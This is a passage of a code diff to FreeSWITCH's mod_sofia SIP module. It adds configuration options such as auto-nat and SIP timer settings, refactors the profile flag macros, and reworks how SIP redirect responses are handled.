+					} else if (!strcasecmp(var, "cng-pt") && !sofia_test_pflag(profile, PFLAG_SUPPRESS_CNG)) {
 						profile->cng_pt = (switch_payload_t) atoi(val);
 					} else if (!strcasecmp(var, "sip-port")) {
-						profile->sip_port = atoi(val);
+						profile->sip_port = (switch_port_t)atoi(val);
 					} else if (!strcasecmp(var, "vad")) {
 						if (!strcasecmp(val, "in")) {
-							switch_set_flag(profile, TFLAG_VAD_IN);
+							sofia_set_flag(profile, TFLAG_VAD_IN);
 						} else if (!strcasecmp(val, "out")) {
-							switch_set_flag(profile, TFLAG_VAD_OUT);
+							sofia_set_flag(profile, TFLAG_VAD_OUT);
 						} else if (!strcasecmp(val, "both")) {
-							switch_set_flag(profile, TFLAG_VAD_IN);
-							switch_set_flag(profile, TFLAG_VAD_OUT);
+							sofia_set_flag(profile, TFLAG_VAD_IN);
+							sofia_set_flag(profile, TFLAG_VAD_OUT);
 						} else if (strcasecmp(val, "none")) {
 							switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Invalid option %s for VAD\n", val);
 						}
@@ -1810,9 +2273,12 @@
 							
 							if (!strcmp(val, "0.0.0.0")) {
 								switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Invalid IP 0.0.0.0 replaced with %s\n", mod_sofia_globals.guess_ip);
+							} else if (!strcasecmp(val, "auto-nat")) {
+								ip = mod_sofia_globals.auto_nat ? switch_core_get_variable("nat_public_addr") : mod_sofia_globals.guess_ip; 
 							} else {
-									ip = strcasecmp(val, "auto") ? val : mod_sofia_globals.guess_ip;
+								ip = strcasecmp(val, "auto") ? val : mod_sofia_globals.guess_ip;
 							}
+							sofia_set_pflag(profile, PFLAG_AUTO_NAT);
 							profile->extrtpip = switch_core_strdup(profile->pool, ip);
 						} else {
 							switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Invalid ext-rtp-ip\n");
@@ -1845,6 +2311,8 @@
 							
 							if (!strcasecmp(val, "0.0.0.0")) {
 								switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Invalid IP 0.0.0.0 replaced with %s\n", mod_sofia_globals.guess_ip);
+							} else if (!strcasecmp(val, "auto-nat")) {
+								ip = mod_sofia_globals.auto_nat ? switch_core_get_variable("nat_public_addr") : mod_sofia_globals.guess_ip;
 							} else if (strcasecmp(val, "auto")) {
 								switch_port_t port = 0;
 								if (sofia_glue_ext_address_lookup(profile, NULL, &myip, &port, val, profile->pool) == SWITCH_STATUS_SUCCESS) {
@@ -1853,10 +2321,13 @@
 									switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to get external ip.\n");
 								}
 							}
+							sofia_set_pflag(profile, PFLAG_AUTO_NAT);
 							profile->extsipip = switch_core_strdup(profile->pool, ip);
 						} else {
 							switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Invalid ext-sip-ip\n");
 						}
+					} else if (!strcasecmp(var, "local-network-acl")) {
+						profile->local_network = switch_core_strdup(profile->pool, val);
 					} else if (!strcasecmp(var, "force-register-domain")) {
 						profile->reg_domain = switch_core_strdup(profile->pool, val);
 					} else if (!strcasecmp(var, "force-register-db-domain")) {
@@ -1869,6 +2340,8 @@
 						profile->timer_name = switch_core_strdup(profile->pool, val);
 					} else if (!strcasecmp(var, "hold-music")) {
 						profile->hold_music = switch_core_strdup(profile->pool, val);
+					} else if (!strcasecmp(var, "outbound-proxy")) {
+						profile->outbound_proxy = switch_core_strdup(profile->pool, val);
 					} else if (!strcasecmp(var, "session-timeout")) {
 						int v_session_timeout = atoi(val);
 						if (v_session_timeout >= 0) {
@@ -1906,89 +2379,130 @@
 						} else if (switch_true(val)) {
 							profile->pres_type = PRES_TYPE_FULL;
 						} 
+					} else if (!strcasecmp(var, "manage-shared-appearance")) {
+						if (switch_true(val)) {
+							sofia_set_pflag(profile, PFLAG_MANAGE_SHARED_APPEARANCE);
+							profile->sla_contact = switch_core_sprintf(profile->pool, "sla-agent");
+						}
+					} else if (!strcasecmp(var, "disable-srv")) {
+						if (switch_true(val)) {
+							sofia_set_pflag(profile, PFLAG_DISABLE_SRV);
+						}
+					} else if (!strcasecmp(var, "disable-naptr")) {
+						if (switch_true(val)) {
+							sofia_set_pflag(profile, PFLAG_DISABLE_NAPTR);
+						}
 					} else if (!strcasecmp(var, "unregister-on-options-fail")) {
 						if (switch_true(val)) {
-							profile->pflags |= PFLAG_UNREG_OPTIONS_FAIL;
+							sofia_set_pflag(profile, PFLAG_UNREG_OPTIONS_FAIL);
 						}
 					} else if (!strcasecmp(var, "require-secure-rtp")) {
 						if (switch_true(val)) {
-							profile->pflags |= PFLAG_SECURE;
+							sofia_set_pflag(profile, PFLAG_SECURE);
 						}
 					} else if (!strcasecmp(var, "multiple-registrations")) {
 						if (!strcasecmp(val, "call-id")) {
-							profile->pflags |= PFLAG_MULTIREG;
+							sofia_set_pflag(profile, PFLAG_MULTIREG);
 						} else if (!strcasecmp(val, "contact") || switch_true(val)) {
-							profile->pflags |= PFLAG_MULTIREG;
-							profile->pflags |= PFLAG_MULTIREG_CONTACT;
+							sofia_set_pflag(profile, PFLAG_MULTIREG);
+							sofia_set_pflag(profile, PFLAG_MULTIREG_CONTACT);
 						} else if (switch_true(val)) {
-							profile->pflags &= ~PFLAG_MULTIREG;
-							//profile->pflags &= ~PFLAG_MULTIREG_CONTACT;
+							sofia_clear_pflag(profile, PFLAG_MULTIREG);
+							//sofia_clear_pflag(profile, PFLAG_MULTIREG_CONTACT);
 						}
 					} else if (!strcasecmp(var, "supress-cng") || !strcasecmp(var, "suppress-cng")) {
 						if (switch_true(val)) {
-							profile->pflags |= PFLAG_SUPPRESS_CNG;
+							sofia_set_pflag(profile, PFLAG_SUPPRESS_CNG);
 							profile->cng_pt = 0;
 						}
-					} else if (!strcasecmp(var, "NDLB-to-in-200-contact")) {
-						if (switch_true(val)) {
-							profile->ndlb |= PFLAG_NDLB_TO_IN_200_CONTACT;
-						}
 					} else if (!strcasecmp(var, "NDLB-broken-auth-hash")) {
 						if (switch_true(val)) {
 							profile->ndlb |= PFLAG_NDLB_BROKEN_AUTH_HASH;
 						}
+					} else if (!strcasecmp(var, "NDLB-sendrecv-in-session")) {
+						if (switch_true(val)) {
+							profile->ndlb |= PFLAG_NDLB_SENDRECV_IN_SESSION;
+						} else {
+							profile->ndlb &= ~PFLAG_NDLB_SENDRECV_IN_SESSION;
+						}
 					} else if (!strcasecmp(var, "pass-rfc2833")) {
 						if (switch_true(val)) {
-							profile->pflags |= PFLAG_PASS_RFC2833;
+							sofia_set_pflag(profile, PFLAG_PASS_RFC2833);
 						}
+					} else if (!strcasecmp(var, "rtp-autoflush")) {
+						if (switch_true(val)) {
+							sofia_set_pflag(profile, PFLAG_AUTOFLUSH);
+						} else {
+							sofia_clear_pflag(profile, PFLAG_AUTOFLUSH);
+						}
+					} else if (!strcasecmp(var, "rtp-autofix-timing")) {
+						if (switch_true(val)) {
+							sofia_set_pflag(profile, PFLAG_AUTOFIX_TIMING);
+						} else {
+							sofia_clear_pflag(profile, PFLAG_AUTOFIX_TIMING);
+						}
+					} else if (!strcasecmp(var, "contact-user")) {
+						profile->contact_user = switch_core_strdup(profile->pool, val);
+					} else if (!strcasecmp(var, "nat-options-ping")) {
+						if (switch_true(val)) {
+							sofia_set_pflag(profile, PFLAG_NAT_OPTIONS_PING);
+						} else {
+							sofia_clear_pflag(profile, PFLAG_NAT_OPTIONS_PING);
+						}
 					} else if (!strcasecmp(var, "inbound-codec-negotiation")) {
 						if (!strcasecmp(val, "greedy")) {
-							profile->pflags |= PFLAG_GREEDY;
+							sofia_set_pflag(profile, PFLAG_GREEDY);
+						} else if (!strcasecmp(val, "scrooge")) {
+							sofia_set_pflag(profile, PFLAG_GREEDY);
+							sofia_set_pflag(profile, PFLAG_SCROOGE);
+						} else {
+							sofia_clear_pflag(profile, PFLAG_SCROOGE);
+							sofia_clear_pflag(profile, PFLAG_GREEDY);
 						}
 					} else if (!strcasecmp(var, "disable-transcoding")) {
 						if (switch_true(val)) {
-							profile->pflags |= PFLAG_DISABLE_TRANSCODING;
+							sofia_set_pflag(profile, PFLAG_DISABLE_TRANSCODING);
 						}
 					} else if (!strcasecmp(var, "rtp-rewrite-timestamps")) {
 						if (switch_true(val)) {
-							profile->pflags |= PFLAG_REWRITE_TIMESTAMPS;
+							sofia_set_pflag(profile, PFLAG_REWRITE_TIMESTAMPS);
 						}
 					} else if (!strcasecmp(var, "auth-calls")) {
 						if (switch_true(val)) {
-							profile->pflags |= PFLAG_AUTH_CALLS;
+							sofia_set_pflag(profile, PFLAG_AUTH_CALLS);
 						}
 					} else if (!strcasecmp(var, "nonce-ttl")) {
 						profile->nonce_ttl = atoi(val);
 					} else if (!strcasecmp(var, "accept-blind-reg")) {
 						if (switch_true(val)) {
-							profile->pflags |= PFLAG_BLIND_REG;
+							sofia_set_pflag(profile, PFLAG_BLIND_REG);
 						}
 					} else if (!strcasecmp(var, "enable-3pcc")) {
 						if (switch_true(val)) {
-							profile->pflags |= PFLAG_3PCC;
+							sofia_set_pflag(profile, PFLAG_3PCC);
 						}
-						else if(!strcasecmp(val, "proxy")){
-							profile->pflags |= PFLAG_3PCC_PROXY;
+						else if (!strcasecmp(val, "proxy")){
+							sofia_set_pflag(profile, PFLAG_3PCC_PROXY);
 						}
 					} else if (!strcasecmp(var, "accept-blind-auth")) {
 						if (switch_true(val)) {
-							profile->pflags |= PFLAG_BLIND_AUTH;
+							sofia_set_pflag(profile, PFLAG_BLIND_AUTH);
 						}
 					} else if (!strcasecmp(var, "auth-all-packets")) {
 						if (switch_true(val)) {
-							profile->pflags |= PFLAG_AUTH_ALL;
+							sofia_set_pflag(profile, PFLAG_AUTH_ALL);
 						}
 					} else if (!strcasecmp(var, "full-id-in-dialplan")) {
 						if (switch_true(val)) {
-							profile->pflags |= PFLAG_FULL_ID;
+							sofia_set_pflag(profile, PFLAG_FULL_ID);
 						}
 					} else if (!strcasecmp(var, "inbound-reg-force-matching-username")) {
 						if (switch_true(val)) {
-							profile->pflags |= PFLAG_CHECKUSER;
+							sofia_set_pflag(profile, PFLAG_CHECKUSER);
 						}
 					} else if (!strcasecmp(var, "enable-timer")) {
 						if (!switch_true(val)) {
-							profile->pflags |= PFLAG_DISABLE_TIMER;
+							sofia_set_pflag(profile, PFLAG_DISABLE_TIMER);
 						}
 					} else if (!strcasecmp(var, "minimum-session-expires")) {
 						profile->minimum_session_expires = atoi(val);
@@ -1998,7 +2512,7 @@
 						}
 					} else if (!strcasecmp(var, "enable-100rel")) {
 						if (switch_true(val)) {
-							profile->pflags &= ~PFLAG_DISABLE_100REL;
+							sofia_clear_pflag(profile, PFLAG_DISABLE_100REL);
 						}
 					} else if (!strcasecmp(var, "bitpacking")) {
 						if (!strcasecmp(val, "aal2")) {
@@ -2066,7 +2580,7 @@
 					} else if (!strcasecmp(var, "tls-bind-params")) {
 						profile->tls_bind_params = switch_core_strdup(profile->pool, val);
 					} else if (!strcasecmp(var, "tls-sip-port")) {
-						profile->tls_sip_port = atoi(val);
+						profile->tls_sip_port = (switch_port_t)atoi(val);
 					} else if (!strcasecmp(var, "tls-cert-dir")) {
 						profile->tls_cert_dir = switch_core_strdup(profile->pool, val);
 					} else if (!strcasecmp(var, "tls-version")) {
@@ -2076,6 +2590,34 @@
 						} else {
 							profile->tls_version = 0;
 						}
+					} else if (!strcasecmp(var, "timer-T1")) {
+						int v = atoi(val);
+						if (v > 0) {
+							profile->timer_t1 = v;
+						} else {
+							profile->timer_t1 = 500;
+						}
+					} else if (!strcasecmp(var, "timer-T1X64")) {
+						int v = atoi(val);
+						if (v > 0) {
+							profile->timer_t1x64 = v;
+						} else {
+							profile->timer_t1x64 = 32000;
+						}
+					} else if (!strcasecmp(var, "timer-T2")) {
+						int v = atoi(val);
+						if (v > 0) {
+							profile->timer_t2 = v;
+						} else {
+							profile->timer_t2 = 4000;
+						}
+					} else if (!strcasecmp(var, "timer-T4")) {
+						int v = atoi(val);
+						if (v > 0) {
+							profile->timer_t4 = v;
+						} else {
+							profile->timer_t4 = 4000;
+						}
 					}
 				}
 
@@ -2106,7 +2648,7 @@
 				}
 
 				if (!profile->sip_port) {
-					profile->sip_port = atoi(SOFIA_DEFAULT_PORT);
+					profile->sip_port = (switch_port_t)atoi(SOFIA_DEFAULT_PORT);
 				}
 
 				if (!profile->dialplan) {
@@ -2120,10 +2662,22 @@
 				if (!profile->sipdomain) {
 					profile->sipdomain = switch_core_strdup(profile->pool, profile->sipip);
 				}
-				if (profile->extsipip) {
+				if (profile->extsipip && sofia_test_pflag(profile, PFLAG_AUTO_NAT)) {
 					char *ipv6 = strchr(profile->extsipip, ':');
+					profile->public_url = switch_core_sprintf(profile->pool,
+															  "sip:%s@%s%s%s:%d",
+															  profile->contact_user,
+															  ipv6 ? "[" : "",
+															  profile->extsipip,
+															  ipv6 ? "]" : "",
+															  profile->sip_port);
+				}
+
+				if (profile->extsipip && !sofia_test_pflag(profile, PFLAG_AUTO_NAT)) {
+					char *ipv6 = strchr(profile->extsipip, ':');
 					profile->url = switch_core_sprintf(profile->pool,
-														"sip:mod_sofia@%s%s%s:%d",
+														"sip:%s@%s%s%s:%d",
+														profile->contact_user,
 														ipv6 ? "[" : "",
 														profile->extsipip,
 														ipv6 ? "]" : "",
@@ -2132,7 +2686,8 @@
 				} else {
 					char *ipv6 = strchr(profile->sipip, ':');
 					profile->url = switch_core_sprintf(profile->pool,
-														"sip:mod_sofia@%s%s%s:%d",
+														"sip:%s@%s%s%s:%d",
+														profile->contact_user,
 														ipv6 ? "[" : "",
 														profile->sipip,
 														ipv6 ? "]" : "",
@@ -2141,7 +2696,11 @@
 				}
 
 				profile->tcp_contact = switch_core_sprintf(profile->pool, "%s;transport=tcp", profile->url);
-				
+
+				if (sofia_test_pflag(profile, PFLAG_AUTO_NAT)) {
+					profile->tcp_public_contact = switch_core_sprintf(profile->pool, "%s;transport=tcp", profile->public_url);
+				}
+
 				if (profile->bind_params) {
 					char *bindurl = profile->bindurl;
 					profile->bindurl = switch_core_sprintf(profile->pool, "%s;%s", bindurl, profile->bind_params);
@@ -2152,20 +2711,33 @@
 				 */
 				if (sofia_test_pflag(profile, PFLAG_TLS)) {
 					if (!profile->tls_sip_port) {
-						profile->tls_sip_port = atoi(SOFIA_DEFAULT_TLS_PORT);
+						profile->tls_sip_port = (switch_port_t)atoi(SOFIA_DEFAULT_TLS_PORT);
 					}
 
-					if (profile->extsipip) {
+					if (profile->extsipip && sofia_test_pflag(profile, PFLAG_AUTO_NAT)) {
 						char *ipv6 = strchr(profile->extsipip, ':');
+						profile->tls_public_url = switch_core_sprintf(profile->pool,
+																  "sip:%s@%s%s%s:%d",
+																  profile->contact_user,
+																  ipv6 ? "[" : "",
+																  profile->extsipip,
+																  ipv6 ? "]" : "",
+																  profile->tls_sip_port);
+					}
+					
+					if (profile->extsipip && !sofia_test_pflag(profile, PFLAG_AUTO_NAT)) {
+						char *ipv6 = strchr(profile->extsipip, ':');
 						profile->tls_url = 
 							switch_core_sprintf(profile->pool,
-												"sip:mod_sofia@%s%s%s:%d",
+												"sip:%s@%s%s%s:%d",
+												profile->contact_user,
 												ipv6 ? "[" : "",
 												profile->extsipip, ipv6 ? "]" : "",
 												profile->tls_sip_port);
 						profile->tls_bindurl =
 							switch_core_sprintf(profile->pool,
-												"sips:mod_sofia@%s%s%s:%d;maddr=%s",
+												"sips:%s@%s%s%s:%d;maddr=%s",
+												profile->contact_user,
 												ipv6 ? "[" : "",
 												profile->extsipip,
 												ipv6 ? "]" : "",
@@ -2175,14 +2747,16 @@
 						char *ipv6 = strchr(profile->sipip, ':');
 						profile->tls_url = 
 							switch_core_sprintf(profile->pool,
-												"sip:mod_sofia@%s%s%s:%d",
+												"sip:%s@%s%s%s:%d",
+												profile->contact_user,
 												ipv6 ? "[" : "",
 												profile->sipip,
 												ipv6 ? "]" : "",
 												profile->tls_sip_port);
 						profile->tls_bindurl =
 							switch_core_sprintf(profile->pool,
-												"sips:mod_sofia@%s%s%s:%d",
+												"sips:%s@%s%s%s:%d",
+												profile->contact_user,
 												ipv6 ? "[" : "",
 												profile->sipip,
 												ipv6 ? "]" : "",
@@ -2198,6 +2772,9 @@
 						profile->tls_cert_dir = switch_core_sprintf(profile->pool, "%s/ssl", SWITCH_GLOBAL_dirs.conf_dir);
 					}
 					profile->tls_contact = switch_core_sprintf(profile->pool, "%s;transport=tls", profile->tls_url);
+					if (sofia_test_pflag(profile, PFLAG_AUTO_NAT)) {
+						profile->tls_public_contact = switch_core_sprintf(profile->pool, "%s;transport=tls", profile->tls_public_url);
+					}
 				}
 			}
 			if (profile) {
@@ -2208,6 +2785,12 @@
 				}
 
 				if ((domains_tag = switch_xml_child(xprofile, "domains"))) {
+					switch_event_t *xml_params;
+					switch_event_create(&xml_params, SWITCH_EVENT_REQUEST_PARAMS);
+					switch_assert(xml_params);
+					switch_event_add_header_string(xml_params, SWITCH_STACK_BOTTOM, "purpose", "gateways");
+					switch_event_add_header_string(xml_params, SWITCH_STACK_BOTTOM, "profile", profile->name);
+					
 					for (domain_tag = switch_xml_child(domains_tag, "domain"); domain_tag; domain_tag = domain_tag->next) {
 						switch_xml_t droot, x_domain_tag;
 						const char *dname = switch_xml_attr_soft(domain_tag, "name");
@@ -2217,19 +2800,21 @@
 						if (!switch_strlen_zero(dname)) {
 							if (!strcasecmp(dname, "all")) {
 								switch_xml_t xml_root, x_domains;
-								if (switch_xml_locate("directory", NULL, NULL, NULL, &xml_root, &x_domains, NULL) == SWITCH_STATUS_SUCCESS) {
+								if (switch_xml_locate("directory", NULL, NULL, NULL, &xml_root, &x_domains, xml_params, SWITCH_FALSE) == SWITCH_STATUS_SUCCESS) {
 									for (x_domain_tag = switch_xml_child(x_domains, "domain"); x_domain_tag; x_domain_tag = x_domain_tag->next) {
 										dname = switch_xml_attr_soft(x_domain_tag, "name");
 										parse_domain_tag(profile, x_domain_tag, dname, parse, alias);
 									}
 									switch_xml_free(xml_root);
 								}
-							} else if (switch_xml_locate_domain(dname, NULL, &droot, &x_domain_tag) == SWITCH_STATUS_SUCCESS) {
+							} else if (switch_xml_locate_domain(dname, xml_params, &droot, &x_domain_tag) == SWITCH_STATUS_SUCCESS) {
 								parse_domain_tag(profile, x_domain_tag, dname, parse, alias);
 								switch_xml_free(droot);
 							}
 						}
 					}
+					
+					switch_event_destroy(&xml_params);
 				}
 
 				if ((aliases_tag = switch_xml_child(xprofile, "aliases"))) {
@@ -2248,8 +2833,13 @@
 				}
 
 				if (profile->sipip) {
-					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Started Profile %s [%s]\n", profile->name, url);
 					launch_sofia_profile_thread(profile);
+					if (profile->odbc_dsn) {
+						switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Connecting ODBC Profile %s [%s]\n", profile->name, url);
+						switch_yield(1000000);
+					} else {
+						switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Started Profile %s [%s]\n", profile->name, url);
+					}
 				} else {
 					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Unable to start Profile %s due to no configured sip-ip\n", profile->name);
 				}
@@ -2289,7 +2879,7 @@
 	}
 
 	if (gateway) {
-		if (status == 200 || status == 404 || status == 501) {
+		if (status >= 200 && status < 600) {
 			if (gateway->state == REG_STATE_FAILED) {
 				gateway->state = REG_STATE_UNREGED;
 			}
@@ -2302,12 +2892,12 @@
 				gateway->state = REG_STATE_FAILED;
 			}
 		}
-		gateway->ping = switch_timestamp(NULL) + gateway->ping_freq;
+		gateway->ping = switch_epoch_time_now(NULL) + gateway->ping_freq;
 		sofia_reg_release_gateway(gateway);
 		gateway->pinging = 0;
-	} else if ((profile->pflags & PFLAG_UNREG_OPTIONS_FAIL) && status != 200 && sip && sip->sip_to) {
+	} else if (sofia_test_pflag(profile, PFLAG_UNREG_OPTIONS_FAIL) && status != 200 && sip && sip->sip_to) {
 		char *sql;
-		time_t now = switch_timestamp(NULL);
+		time_t now = switch_epoch_time_now(NULL);
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Expire registration '%s@%s' due to options failure\n",
 						  sip->sip_to->a_url->url_user, sip->sip_to->a_url->url_host);
 
@@ -2327,13 +2917,11 @@
 		const char *uuid;
 		switch_core_session_t *other_session;
 		private_object_t *tech_pvt = switch_core_session_get_private(session);
-		su_addrinfo_t *my_addrinfo = msg_addrinfo(nua_current_request(nua));
 		char network_ip[80];
 		int network_port = 0;
 		switch_caller_profile_t *caller_profile = NULL;
 
-		get_addr(network_ip, sizeof(network_ip), my_addrinfo->ai_addr, my_addrinfo->ai_addrlen);
-		network_port = ntohs(((struct sockaddr_in *) msg_addrinfo(nua_current_request(nua))->ai_addr)->sin_port);
+		sofia_glue_get_addr(nua_current_request(nua), network_ip,  sizeof(network_ip), &network_port);
 
 		switch_channel_set_variable(channel, "sip_reply_host", network_ip);
 		switch_channel_set_variable_printf(channel, "sip_reply_port", "%d", network_port);
@@ -2352,18 +2940,13 @@
 			}
 		}
 
-		/* dirty hack to avoid race condition in the library */
-		if (status == 200 || status == 183) {
-			switch_yield(100);// printf("Avoiding Segfault!!!\n");
-		}
-
 		if (switch_channel_test_flag(channel, CF_PROXY_MODE) || switch_channel_test_flag(channel, CF_PROXY_MEDIA)) {
 
-			if (!switch_test_flag(tech_pvt, TFLAG_SENT_UPDATE)) {
+			if (!sofia_test_flag(tech_pvt, TFLAG_SENT_UPDATE)) {
 				return;
 			}
 
-			switch_clear_flag_locked(tech_pvt, TFLAG_SENT_UPDATE);
+			sofia_clear_flag_locked(tech_pvt, TFLAG_SENT_UPDATE);
 
 			if ((uuid = switch_channel_get_variable(channel, SWITCH_SIGNAL_BOND_VARIABLE)) && (other_session = switch_core_session_locate(uuid))) {
 				const char *r_sdp = NULL;
@@ -2465,26 +3048,136 @@
 			}
 		}
 
-		if (channel && sip && (status >= 300 || status < 399) && switch_channel_test_flag(channel, CF_OUTBOUND)) {
+		if (channel && sip && (status == 300 || status == 302 || status == 305) && switch_channel_test_flag(channel, CF_OUTBOUND)) {
 			sip_contact_t * p_contact = sip->sip_contact;
 			int i = 0;
 			char var_name[80];	
+			const char *diversion_header;
+			char *full_contact = NULL;
+			char *invite_contact;
+			const char *br;
+			
+			if ((br = switch_channel_get_variable(channel, SWITCH_SIGNAL_BOND_VARIABLE))) {
+				switch_xml_t root = NULL, domain = NULL;
+				switch_core_session_t *a_session;
+				switch_channel_t *a_channel;
 
-			while (p_contact) {
-				if (p_contact->m_url) {
-					if (p_contact->m_url->url_user) {
-						switch_snprintf(var_name, sizeof(var_name), "sip_redirect_contact_user_%d", i);
-						switch_channel_set_variable_partner(channel, var_name, p_contact->m_url->url_user);
-						switch_channel_set_variable(channel, var_name, p_contact->m_url->url_user);
+				const char *sip_redirect_profile, *sip_redirect_context, *sip_redirect_dialplan, *sip_redirect_fork;
+
+				if ((a_session = switch_core_session_locate(br)) && (a_channel = switch_core_session_get_channel(a_session))) { 
+					switch_stream_handle_t stream = { 0 };
+					char separator[2] = "|";
+					char *redirect_dialstring;
+					su_home_t *home = su_home_new(sizeof(*home));
+					switch_assert(home != NULL);
+
+					SWITCH_STANDARD_STREAM(stream);
+
+					if (!(sip_redirect_profile = switch_channel_get_variable(channel, "sip_redirect_profile"))) {
+						sip_redirect_profile = profile->name;
 					}
-					if (p_contact->m_url->url_host) {
-						switch_snprintf(var_name, sizeof(var_name), "sip_redirect_contact_host_%d", i);
-						switch_channel_set_variable_partner(channel, var_name, p_contact->m_url->url_host);
-						switch_channel_set_variable(channel, var_name, p_contact->m_url->url_host);
+					if (!(sip_redirect_context = switch_channel_get_variable(channel, "sip_redirect_context"))) {
+						sip_redirect_context = "redirected";
 					}
-					p_contact = p_contact->m_next;
-					i++;
+					if (!(sip_redirect_dialplan = switch_channel_get_variable(channel, "sip_redirect_dialplan"))) {
+						sip_redirect_dialplan = "XML";
+					}
+
+					sip_redirect_fork = switch_channel_get_variable(channel, "sip_redirect_fork");
+					
+					if (switch_true(sip_redirect_fork)) {
+						*separator = ',';
+					}
+
+					for (p_contact = sip->sip_contact; p_contact; p_contact = p_contact->m_next) {
+						if (p_contact->m_url) {
+							full_contact = sip_header_as_string(home, (void *) sip->sip_contact);
+							invite_contact = sofia_glue_strip_uri(full_contact);
+							
+							switch_snprintf(var_name, sizeof(var_name), "sip_redirect_contact_%d", i);
+							switch_channel_set_variable(a_channel, var_name, full_contact);
+							
+							if (i == 0) {
+								switch_channel_set_variable(channel, "sip_redirected_to", full_contact);
+								switch_channel_set_variable(a_channel, "sip_redirected_to", full_contact);
+							}
+							
+							if (p_contact->m_url->url_user) {
+								switch_snprintf(var_name, sizeof(var_name), "sip_redirect_contact_user_%d", i);
+								switch_channel_set_variable(channel, var_name, p_contact->m_url->url_user);
+								switch_channel_set_variable(a_channel, var_name, p_contact->m_url->url_user);
+							}
+							if (p_contact->m_url->url_host) {
+								switch_snprintf(var_name, sizeof(var_name), "sip_redirect_contact_host_%d", i);
+								switch_channel_set_variable(channel, var_name, p_contact->m_url->url_host);
+								switch_channel_set_variable(a_channel, var_name, p_contact->m_url->url_host);
+							}
+							if (p_contact->m_url->url_params) {
+								switch_snprintf(var_name, sizeof(var_name), "sip_redirect_contact_params_%d", i);
+								switch_channel_set_variable(channel, var_name, p_contact->m_url->url_params);
+								switch_channel_set_variable(a_channel, var_name, p_contact->m_url->url_params);
+							}
+							
+							switch_snprintf(var_name, sizeof(var_name), "sip_redirect_dialstring_%d", i);
+							switch_channel_set_variable_printf(channel, var_name, "sofia/%s/%s", sip_redirect_profile, invite_contact);
+							switch_channel_set_variable_printf(a_channel, var_name, "sofia/%s/%s", sip_redirect_profile, invite_contact);
+							stream.write_function(&stream, "%ssofia/%s/%s", i ? separator : "", sip_redirect_profile, invite_contact);
+							free(invite_contact);
+							i++;
+						}
+					}
+					
+					redirect_dialstring = stream.data;
+					
+					switch_channel_set_variable(channel, "sip_redirect_dialstring", redirect_dialstring);
+					switch_channel_set_variable(a_channel, "sip_redirect_dialstring", redirect_dialstring);
+					
+					p_contact = sip->sip_contact;
+					full_contact = sip_header_as_string(home, (void *) sip->sip_contact);
+					
+					if ((diversion_header = sofia_glue_get_unknown_header(sip, "diversion"))) {
+						switch_channel_set_variable(channel, "sip_redirected_by", diversion_header);
+						switch_channel_set_variable(a_channel, "sip_redirected_by", diversion_header);
+					}
+					
+					if (sofia_test_pflag(profile, PFLAG_MANUAL_REDIRECT)) {
+						switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Redirect: Transfering to %s %s %s\n", 
+										  p_contact->m_url->url_user, sip_redirect_dialplan, sip_redirect_context);
+						switch_ivr_session_transfer(a_session, p_contact->m_url->url_user, sip_redirect_dialplan, sip_redirect_context);					
+					} else if ((!strcmp(profile->sipip, p_contact->m_url->url_host))
+							   || (profile->extsipip && !strcmp(profile->extsipip, p_contact->m_url->url_host))
+							   || (switch_xml_locate_domain(p_contact->m_url->url_host, NULL, &root, &domain) == SWITCH_STATUS_SUCCESS)) {
+						switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Redirect: Transfering to %s\n", p_contact->m_url->url_user);
+						switch_ivr_session_transfer(a_session, p_contact->m_url->url_user, NULL, NULL);
+						switch_xml_free(root);
+					} else {
+						invite_contact = sofia_glue_strip_uri(full_contact);
+						tech_pvt->redirected = switch_core_session_strdup(session, invite_contact);
+						free(invite_contact);
+					}
+					
+					if (home) {
+						su_home_unref(home);
+						home = NULL;
+					}
+
+					free(stream.data);
+					switch_core_session_rwunlock(a_session);
 				}
+			} else {
+				su_home_t *home = su_home_new(sizeof(*home));
+				switch_assert(home != NULL);
+				full_contact = sip_header_as_string(home, (void *) sip->sip_contact);
+				invite_contact = sofia_glue_strip_uri(full_contact);
+
+				tech_pvt->redirected = switch_core_session_strdup(session, invite_contact);
+
+				free(invite_contact);
+
+				if (home) {
+					su_home_unref(home);
+					home = NULL;
+				}
 			}
 		}
 	}
@@ -2509,7 +3202,7 @@
 		
 		if ((uuid = switch_channel_get_variable(channel, SWITCH_SIGNAL_BOND_VARIABLE)) && (other_session = switch_core_session_locate(uuid))) {
 			if (switch_core_session_compare(session, other_session)) {
-				switch_set_flag_locked(tech_pvt, TFLAG_HOLD_LOCK);
+				sofia_set_flag_locked(tech_pvt, TFLAG_HOLD_LOCK);
 				switch_ivr_media(switch_core_session_get_uuid(other_session), SMF_REBRIDGE);
 			
 				if (tech_pvt->rtp_session) {
@@ -2517,8 +3210,8 @@
 				}
 
 				sofia_glue_toggle_hold(tech_pvt, 1);
-				switch_core_session_rwunlock(other_session);
 			}
+			switch_core_session_rwunlock(other_session);
 		}
 
 		switch_core_session_rwunlock(session);
@@ -2564,6 +3257,22 @@
 			SIPTAG_REPLACES_STR_REF(replaces_str), SOATAG_LOCAL_SDP_STR_REF(l_sdp), SOATAG_REMOTE_SDP_STR_REF(r_sdp), TAG_END());
 	
 	if (ss_state == nua_callstate_terminated) {
+
+		if ((status == 300 || status == 302 || status == 305) && session) {
+			channel = switch_core_session_get_channel(session);
+			tech_pvt = switch_core_session_get_private(session);
+			
+			if (!tech_pvt || !tech_pvt->nh) {
+				goto done;
+			}
+			
+
+			if (tech_pvt->redirected) {
+				sofia_glue_do_invite(session);
+				goto done;
+			}
+		}
+
 		if (sofia_private) {
 			sofia_private->destroy_me = 1;
 		}
@@ -2572,18 +3281,28 @@
 	if (session) {
